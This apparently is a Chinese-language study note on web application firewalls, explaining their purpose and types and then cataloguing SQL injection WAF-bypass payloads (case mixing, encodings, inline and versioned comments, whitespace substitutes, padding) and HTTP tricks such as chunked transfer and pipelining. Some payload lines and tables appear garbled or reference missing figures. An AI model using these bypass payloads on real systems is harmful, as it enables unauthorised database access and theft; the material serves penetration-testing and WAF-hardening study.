1. WAF
1.1 WAF介绍
WAF是Web Application Firewall的简称。中文名为Web应用防护系统,也称网站应用级入侵防御系统。
1.2 WAF作用
1.2.1 网络层防护
拦截DDOS攻击、防御SYN Flood、防御Ack Flood、防御Http/Https Flood
1.2.2 应用层防护
URL黑白名单、HTTP协议规范、防御注入攻击、防御XSS攻击、防御XXE
1.3 分类
代码WAF:规则写在代码中
软件WAF:实时监听端口(服务)
硬件WAF:专门的硬件设备 代理流量 分析流量 网络镜像
云WAF:流量传到检测节点中做检测
1.4 工作流程
1.4.1 身份验证
白名单(IP、cookie、useragent、referer)
黑名单
1.4.2 数据包解析
1.4.3 匹配规则
ACL(访问控制列表)
2.Bypass常用方法
2.1 大小写
1  | select * from users where id='1 ' uNion SelEct 1,2,3,4 --+  | 
2.2 替换关键字(关键字重复写)
1  | select * from users where id=1 ununionion selselectect  | 
2.3 编码
2.3.1 URL编码
1  | select * from users where id=1 %75nion select  | 
2.3.2 二次URL编码
将URL编码两次
2.3.3 错误URL编码
1  | union select password from users where id=1  | 
在注入关键词处加上%,WAF会将其取出
2.3.4 Unicode编码
1  | union select password from users where id=1  | 
Unicode编码
2.3.5 Nibble编码
Nibble编码是针对URL编码的%后两位进行二次编码的一种方法。
根据编码位置不同,被分为First Nibble、Second Nibble以及Double Nibble三种。
| Type | Transformation of %61 | Result | 
|---|---|---|
| First Nibble | 6 = %36 | %%361 | 
| Second Nibble | 1 = %31 | %6%31 | 
| Double Nibble | 6 = %36 1 = %31 | %%36%31 | 
2.3.6错误16进制编码
| Hex Character | Conversion | Decimal | 
|---|---|---|
| %61 | 6*16+1 | 97 | 
| %2ú | 2*16+65 | 97 | 
2.4 内联注释
/* */
1  | select * from users where id=1 union/**/  | 
2.5 等价函数替换
1  | version @@version  | 
2.6 特殊符号
1  | +  | 
2.7 内联注释加!
1  | /*!union*/  | 
2.8 缓冲区溢出
1  | ?id=1 and (select 1)=(select 0xAAAAAAAAAAAA*1000) union select 1,2 verion(),4,5,database(),8,9,10,11,12,13,14,15,16,17,18  | 
0xA*1000指有1000个A
2.9 mysql特性绕过
1  | = 等于  | 
2.10 隐私类型转换
1  | select 'a'=0;  | 
2.11 综合探索
内联注释
黑魔法
1  | select{x user}from{x mysql.user}  | 
换行符绕过:%23%0a %2d%2d%0a
1  | select * from admin where id=1[1] union [2]select [3]1,user()[4]from[5]admin  | 
2.11.1
[1]:
1  | /**/ /*!50000union*/  | 
1  | 空白 %09 %0a %0b %0c %0d %20  | 
1  | 浮点数形式  | 
1  | 1E0  | 
1  | \  | 
2.11.2
[2]:
1  | 空白  | 
1  | 注释符  | 
1  | 括号  | 
2.11.3
[3]:
1  | 空白  | 
1  | 注释符  | 
1  | 其他字符  | 
1  | 括号  | 
1  | 内联注释  | 
1  | {}  | 
1  | ""  | 
1  | \N  | 
2.11.4
[4]:
1  | 空白  | 
1  | 注释符  | 
1  | 其他字符  | 
1  | 内联注释  | 
1  | 括号  | 
1  | 加字母  | 
1  | 浮点数、1E0、\N  | 
2.11.5
[5]:
1  | 空白  | 
1  | 注释符  | 
1  | 其他符号  | 
1  | 内联注释  | 
1  | {}  | 
1  | ()  | 
| 1 | 2 | 2 | 
|---|---|---|
| 1 | 2 | 2 | 
| 1 | 2 | 2 | 
2.12 空白
| RDBMS | Allowed whitespaces | 
|---|---|
| SQLite 3 | 0A,0D,0C,09,20 | 
| MySQL 5 | 09,0A,0B,0C,0D,A0,20 | 
| Oracle 11g | 00,09,0A,0B,0C,0D,20 | 
| MSSQL 2008 | 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20,25 | 
2.13 特殊位置代替空格
科学计数法(1e0,.)
数学计算(+-*/)
特殊字符(\N)
注释符(/**/)
2.14 无空格的查询
1  | ?id=1e0and{``select(left(database(),1))}  | 
3. 基于HTTP协议的绕过方式
OWASP AppSec Europe
WAF Bypass Techniques-Using HTTP Standard and Web Servers’ Behaviour -- Soroush Dalili
来源:漏洞银行丨一般人我不告诉的WAF绕过新姿势-1337G丨咖面74期
3.1 基于HTTP0.9协议的绕过方式
3.2 HTTP隧道传输/HTTP pipline

通过BP拦包,在一个请求下添加多个请求,注意需要修改
1  | Connection:keep-alive  | 
3.3 畸形包

由于c=2&d=2后面的内容WAF并能不识别,所以GET后面的Payload没有被WAF拦截掉
3.4 分块传输/Chunked Transfer
通过使用HTTP头Transfer-Encoding:chunked设置达到分割参数的效果
在HTTP/1.1下使用
奇数行表示下一行的数据长度,使用16机制表示
偶数行表示传输的数据
在最后一行写0,并在0后写入多个回车
0后没有回车会没有响应
3.5 协议未覆盖
以下四种常见的content-type类型,我们可以尝试互相替换尝试绕过WAF过滤机制。
1  | Content-Type:text/html;charset=UTF-8  | 
注:如图常见的绕过方式为使用multipart/form-data标签,并把name设为参数名内容写入注入语句。
4. 参考
[1] 漏洞银行丨一般人我不告诉的WAF绕过新姿势-1337G丨咖面74期
[2] Additional notes on “A Forgotten HTTP Invisibility Cloak” talk!